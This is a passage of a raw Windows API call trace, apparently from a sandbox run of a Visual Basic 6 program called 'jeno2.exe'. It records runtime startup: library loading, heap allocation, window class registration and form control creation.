Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0041.152] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0041.152] lstrlenA (lpString="{xx}") returned 4 [0041.152] lstrlenA (lpString="VBENLR98.CHM") returned 12 [0041.152] lstrcpyA (in: lpString1=0x72a4ebf0, lpString2="VBENLR98.CHM" | out: lpString1="VBENLR98.CHM") returned="VBENLR98.CHM" [0041.152] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18fd90, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0041.152] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fc8c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0041.152] lstrcpynA (in: lpString1=0x18fb70, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL", iMaxLength=260 | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0041.152] lstrlenA (lpString="C:\\Windows\\system32\\MSVBVM60.DLL") returned 32 [0041.152] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x21) returned 0x14617b0 [0041.153] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x21) returned 0x14617e0 [0041.153] lstrcpyA (in: lpString1=0x14617b0, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL" | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0041.153] LCMapStringA (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", cchSrc=-1, lpDestStr=0x18fb50, cchDest=260 | out: lpDestStr="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\JENO2.EXE") returned 48 [0041.154] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x18fc54, dwRevision=0x1 | out: pSecurityDescriptor=0x18fc54) returned 1 [0041.154] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x18fc54, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x18fc54) returned 1 [0041.154] CreateSemaphoreA (lpSemaphoreAttributes=0x18fc68, lInitialCount=0, lMaximumCount=2147483647, lpName="C:?USERS?5P5NRGJN0JS HALPMCXZ?DESKTOP?JENO2.EXE") returned 0x90 [0041.154] GetLastError () returned 0x0 [0041.155] GetVersionExA (in: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.155] OleInitialize (pvReserved=0x0) returned 0x0 [0041.734] OaBuildVersion () returned 0x321396 [0041.734] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x76e40000 [0041.734] GetLastError () returned 0x0 [0041.734] GetProcAddress (hModule=0x76e40000, lpProcName="OleLoadPictureEx") returned 0x76ea70a1 [0041.734] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc169 [0041.734] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b1 [0041.734] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBFocusRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0041.735] RegisterClassA (lpWndClass=0x18fc34) returned 0xc167 [0041.735] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBBubbleRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0041.735] RegisterClassA (lpWndClass=0x18fc34) returned 0xc168 [0041.735] HeapCreate (flOptions=0x0, dwInitialSize=0x400, dwMaximumSize=0x0) returned 0x3880000 [0041.736] GetUserDefaultLCID () returned 0x409 [0041.736] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x3a4) returned 0x1461810 [0041.736] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x3a4) returned 0x1461bc0 [0041.736] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xd4) returned 0x1461f70 [0041.736] GetSystemInfo (in: lpSystemInfo=0x18fbf4 | out: lpSystemInfo=0x18fbf4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0041.736] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x210000 [0041.736] VirtualAlloc (lpAddress=0x210000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.737] VirtualAlloc (lpAddress=0x210000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.737] VirtualAlloc (lpAddress=0x210000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.737] VirtualAlloc (lpAddress=0x210000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.737] VirtualAlloc (lpAddress=0x210000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.738] VirtualAlloc (lpAddress=0x210000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0041.738] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x20, lpflOldProtect=0x18fc50 | out: lpflOldProtect=0x18fc50*=0x4) returned 1 [0041.741] GetCurrentProcess () returned 0xffffffff [0041.741] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0041.741] GlobalAddAtomA (lpString="VBDisabled") returned 0xc165 [0041.741] GetVersion () returned 0x1db10106 [0041.741] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x76e40000 [0041.741] GetProcAddress (hModule=0x76e40000, lpProcName="DispCallFunc") returned 0x76e53dcf [0041.741] GetProcAddress (hModule=0x76e40000, lpProcName="LoadTypeLibEx") returned 0x76e507b7 [0041.741] GetProcAddress (hModule=0x76e40000, lpProcName="UnRegisterTypeLib") returned 0x76e71ca9 [0041.741] GetProcAddress (hModule=0x76e40000, lpProcName="CreateTypeLib2") returned 0x76e58e70 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarDateFromUdate") returned 0x76e57684 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarUdateFromDate") returned 0x76e5cc98 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="GetAltMonthNames") returned 0x76e8903a [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarNumFromParseNum") returned 0x76e56231 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarParseNumFromStr") returned 0x76e55fea [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR4") returned 0x76e63f94 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR8") returned 0x76e64e9e [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromDate") returned 0x76e8db72 [0041.742] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromI4") returned 0x76e72a8c [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromCy") returned 0x76e8d737 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="VarR4FromDec") returned 0x76e8e015 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x76e8cc3d [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromGuids") returned 0x76e8d1c4 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetRecordInfo") returned 0x76e8d48c [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetRecordInfo") returned 0x76e8d4c6 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetIID") returned 0x76e8d509 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetIID") returned 0x76e5e7bb [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCopyData") returned 0x76e5e496 [0041.743] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x76e5ddf1 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCreateEx") returned 0x76e8d53f [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormat") returned 0x76e92055 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatDateTime") returned 0x76e920ea [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatNumber") returned 0x76e92151 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatPercent") returned 0x76e921f5 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatCurrency") returned 0x76e92288 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarWeekdayName") returned 0x76e92335 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarMonthName") returned 0x76e923d5 [0041.744] GetProcAddress (hModule=0x76e40000, lpProcName="VarAdd") returned 0x76e65934 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarAnd") returned 0x76e65a98 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarCat") returned 0x76e659b4 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarDiv") returned 0x76ebe405 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarEqv") returned 0x76ebef07 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarIdiv") returned 0x76ebf00a [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarImp") returned 0x76ebef47 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarMod") returned 0x76ebf15e [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarMul") returned 0x76ebdbd4 [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarOr") returned 0x76ebecfa [0041.745] GetProcAddress (hModule=0x76e40000, lpProcName="VarPow") returned 0x76ebea66 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarSub") returned 0x76ebd332 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarXor") returned 0x76ebee2e [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarAbs") returned 0x76ebca11 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarFix") returned 0x76ebcc5f [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarInt") returned 0x76ebcde7 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarNeg") returned 0x76ebc802 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarNot") returned 0x76ebec66 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarRound") returned 0x76ebd155 [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarCmp") returned 0x76e5b0dc [0041.746] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecAdd") returned 0x76e75f3e [0041.747] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecCmp") returned 0x76e64fd0 [0041.747] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCat") returned 0x76e60d2c [0041.747] GetProcAddress (hModule=0x76e40000, lpProcName="VarCyMulI4") returned 0x76e759ed [0041.747] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCmp") returned 0x76e4f8b8 [0041.747] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x76620000 [0041.747] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstanceEx") returned 0x76669d4e [0041.747] GetProcAddress (hModule=0x76620000, lpProcName="CLSIDFromProgIDEx") returned 0x76630782 [0041.747] GetSystemMetrics (nIndex=42) returned 0 [0041.747] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e688 | out: ppMalloc=0x72a4e688*=0x767666bc) returned 0x0 [0041.748] IMalloc:Alloc (This=0x767666bc, cb=0x4) returned 0x14f8c90 [0041.748] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f968, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0041.749] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", lpString2=".cfg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe.cfg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe.cfg" [0041.749] SetLastError (dwErrCode=0x0) [0041.750] SearchPathA (in: lpPath=0x0, lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe.cfg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x18f864, lpFilePart=0x18f838 | out: lpBuffer="|ú\x18", lpFilePart=0x18f838) returned 0x0 [0041.750] SetLastError (dwErrCode=0x2) [0041.750] GetLastError () returned 0x2 [0041.750] lstrcmpiA (lpString1="jeno2", lpString2="MTX") returned -1 [0041.750] lstrcmpiA (lpString1="jeno2", lpString2="DLLHOST") returned 1 [0041.750] lstrcmpiA (lpString1="jeno2", lpString2="INETINFO") returned 1 [0041.750] lstrcmpiA (lpString1="jeno2", lpString2="W3WP") returned -1 [0041.750] lstrcmpiA (lpString1="jeno2", lpString2="ASPNET_WP") returned 1 [0041.751] lstrcmpiA (lpString1="jeno2", lpString2="DLLHST3G") returned 1 [0041.751] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f95c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0041.751] lstrcmpiA (lpString1="jeno2", lpString2="IEXPLORE") returned 1 [0041.751] LoadLibraryA (lpLibFileName="SXS.DLL") returned 0x75620000 [0042.029] GetLastError () returned 0x0 [0042.029] GetProcAddress (hModule=0x75620000, lpProcName="SxsOleAut32MapIIDOrCLSIDToTypeLibrary") returned 0x75667685 [0042.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18feac, cbMultiByte=-1, lpWideCharStr=0x18fea8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.030] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x1c) returned 0x1462050 [0042.030] CoRegisterMessageFilter (in: lpMessageFilter=0x1462054, lplpMessageFilter=0x146205c | out: lplpMessageFilter=0x146205c*=0x0) returned 0x0 [0042.030] IUnknown:AddRef (This=0x1462054) returned 0x2 [0042.030] GetClassInfoExA (in: hInstance=0x72940000, lpszClass="ThunderRT6Main", lpwcx=0x18fe78 | out: lpwcx=0x18fe78) returned 0 [0042.031] LoadIconA (hInstance=0x400000, lpIconName=0x1) returned 0x60105 [0042.032] GetModuleHandleA (lpModuleName="USER32") returned 0x77130000 [0042.032] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0042.033] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromWindow") returned 0x77153150 [0042.033] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromRect") returned 0x7716e7a0 [0042.033] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromPoint") returned 0x77155281 [0042.033] GetProcAddress (hModule=0x77130000, lpProcName="EnumDisplayMonitors") returned 0x7715451a [0042.033] GetProcAddress (hModule=0x77130000, lpProcName="GetMonitorInfoA") returned 0x77154413 [0042.033] GetSystemMetrics (nIndex=0) returned 1440 [0042.033] GetSystemMetrics (nIndex=78) returned 1440 [0042.033] GetSystemMetrics (nIndex=1) returned 900 [0042.033] GetSystemMetrics (nIndex=79) returned 900 [0042.033] GetSystemMetrics (nIndex=50) returned 16 [0042.033] GetSystemMetrics (nIndex=49) returned 16 [0042.033] LoadImageA (hInst=0x400000, name=0x1, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x20249 [0042.034] RegisterClassExA (param_1=0x18fe78) returned 0x8ec165 [0042.034] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderRT6Main", lpWindowName=0x0, dwStyle=0x80090000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x5011c [0042.035] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x81, wParam=0x0, lParam=0x18fa5c) returned 0x1 [0042.038] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x83, wParam=0x0, lParam=0x18fa48) returned 0x0 [0042.038] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x1, wParam=0x0, lParam=0x18fa5c) returned 0x0 [0042.038] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0042.038] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0042.038] MonitorFromWindow (hwnd=0x5011c, dwFlags=0x2) returned 0x10001 [0042.038] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fe80 | out: lpmi=0x18fe80) returned 1 [0042.038] SetWindowPos (hWnd=0x5011c, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0042.038] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x46, wParam=0x0, lParam=0x18fe20) returned 0x0 [0042.040] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x47, wParam=0x0, lParam=0x18fe20) returned 0x0 [0042.040] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0042.040] ShowWindow (hWnd=0x5011c, nCmdShow=4) returned 0 [0042.040] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0042.041] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x46, wParam=0x0, lParam=0x18fe34) returned 0x0 [0042.041] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x47, wParam=0x0, lParam=0x18fe34) returned 0x0 [0042.041] GetWindowThreadProcessId (in: hWnd=0x5011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a4 [0042.041] VirtualQuery (in: lpAddress=0x18fea8, lpBuffer=0x18fe8c, dwLength=0x1c | out: lpBuffer=0x18fe8c*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0042.042] GetUserDefaultLCID () returned 0x409 [0042.042] IsValidCodePage (CodePage=0x3a4) returned 1 [0042.044] IsValidCodePage (CodePage=0x3b5) returned 1 [0042.046] IsValidCodePage (CodePage=0x3b6) returned 1 [0042.051] IsValidCodePage (CodePage=0x3a8) returned 1 [0042.055] GetUserDefaultLangID () returned 0x409 [0042.055] GetSystemDefaultLangID () returned 0x14f0409 [0042.055] GetSystemMetrics (nIndex=42) returned 0 [0042.055] IMalloc:Alloc (This=0x767666bc, cb=0xa8) returned 0x14fd3b0 [0042.055] IMalloc:GetSize (This=0x767666bc, pv=0x14fd3b0) returned 0xa8 [0042.055] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x14fcaf0 [0042.055] GetCurrentThreadId () returned 0x3a4 [0042.056] IMalloc:Alloc (This=0x767666bc, cb=0x3c) returned 0x14f8ca0 [0042.056] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x14f9468 [0042.116] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x0) returned 0x2 [0042.116] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x14f9490 [0042.116] GetCurrentThreadId () returned 0x3a4 [0042.116] SetWindowsHookExA (idHook=-1, lpfn=0x729a1e09, hmod=0x0, dwThreadId=0x3a4) returned 0x20243 [0042.117] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x14) returned 0x1462078 [0042.117] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x80) returned 0x1462098 [0042.117] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x1462120 [0042.117] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x2c) returned 0x1462138 [0042.117] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBMsoStdCompMgr", lpWndClass=0x18fdcc | out: lpWndClass=0x18fdcc) returned 0 [0042.117] RegisterClassA (lpWndClass=0x18fdcc) returned 0x98c164 [0042.117] CreateWindowExA (dwExStyle=0x0, lpClassName="VBMsoStdCompMgr", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x4011e [0042.117] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x81, wParam=0x0, lParam=0x18fa08) returned 0x1 [0042.117] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x83, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0042.117] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x1, wParam=0x0, lParam=0x18fa08) returned 0x0 [0042.118] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0042.118] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0042.118] SetWindowLongA (hWnd=0x4011e, nIndex=0, dwNewLong=21373084) returned 0 [0042.118] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x38) returned 0x1462170 [0042.118] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x18) returned 0x14621b0 [0042.118] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x14621d0 [0042.118] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0042.118] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0042.118] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0042.118] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0042.118] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0042.118] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0042.118] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0042.118] CreateCompatibleDC (hdc=0x0) returned 0x1e01027c [0042.118] GetCurrentObject (hdc=0x1e01027c, type=0x7) returned 0x185000f [0042.118] CreateWindowExA (dwExStyle=0x0, lpClassName="VBFocusRT6", lpWindowName=0x0, dwStyle=0x40000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x5011c, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x50116 [0042.119] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x81, wParam=0x0, lParam=0x18fa98) returned 0x1 [0042.119] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x83, wParam=0x0, lParam=0x18fa84) returned 0x0 [0042.119] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x1, wParam=0x0, lParam=0x18fa98) returned 0x0 [0042.119] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0042.119] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0042.119] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x210, wParam=0x1, lParam=0x50116) returned 0x0 [0042.119] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x18) returned 0x14621e8 [0042.119] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x114) returned 0x38807d0 [0042.119] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x5c) returned 0x1462208 [0042.119] GetCurrentThreadId () returned 0x3a4 [0042.119] GetCurrentThreadId () returned 0x3a4 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x10) returned 0x1462270 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x30) returned 0x1462288 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x434) returned 0x14622c0 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x434) returned 0x1462700 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x3c) returned 0x1462b40 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1462b88 [0042.120] lstrlenA (lpString="VB") returned 2 [0042.120] lstrlenA (lpString="PictureBox") returned 10 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xe) returned 0x1462ca8 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x16c) returned 0x1462cc0 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x68) returned 0x1462e38 [0042.120] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x2c8) returned 0x1462ea8 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x28) returned 0x1463178 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14631a8 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x28) returned 0x14631c8 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14631f8 [0042.121] lstrlenA (lpString="VB") returned 2 [0042.121] lstrlenA (lpString="Label") returned 5 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9) returned 0x1463318 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x34) returned 0x1463330 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xf0) returned 0x1463370 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x48) returned 0x1463468 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1f4) returned 0x14634b8 [0042.121] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14636b8 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14636d8 [0042.122] lstrlenA (lpString="VB") returned 2 [0042.122] lstrlenA (lpString="TextBox") returned 7 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xb) returned 0x14637f8 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x38) returned 0x1463810 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x120) returned 0x1463850 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x60) returned 0x1463978 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x250) returned 0x14639e0 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1463c38 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1463c58 [0042.122] lstrlenA (lpString="VB") returned 2 [0042.122] lstrlenA (lpString="Frame") returned 5 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9) returned 0x1463d78 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x24) returned 0x1463d90 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xb0) returned 0x1463dc0 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x34) returned 0x1463e78 [0042.122] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x184) returned 0x1463eb8 [0042.123] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1464048 [0042.123] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1464068 [0042.123] lstrlenA (lpString="VB") returned 2 [0042.123] lstrlenA (lpString="CommandButton") returned 13 [0042.123] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x11) returned 0x1464188 [0042.126] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x14641a8 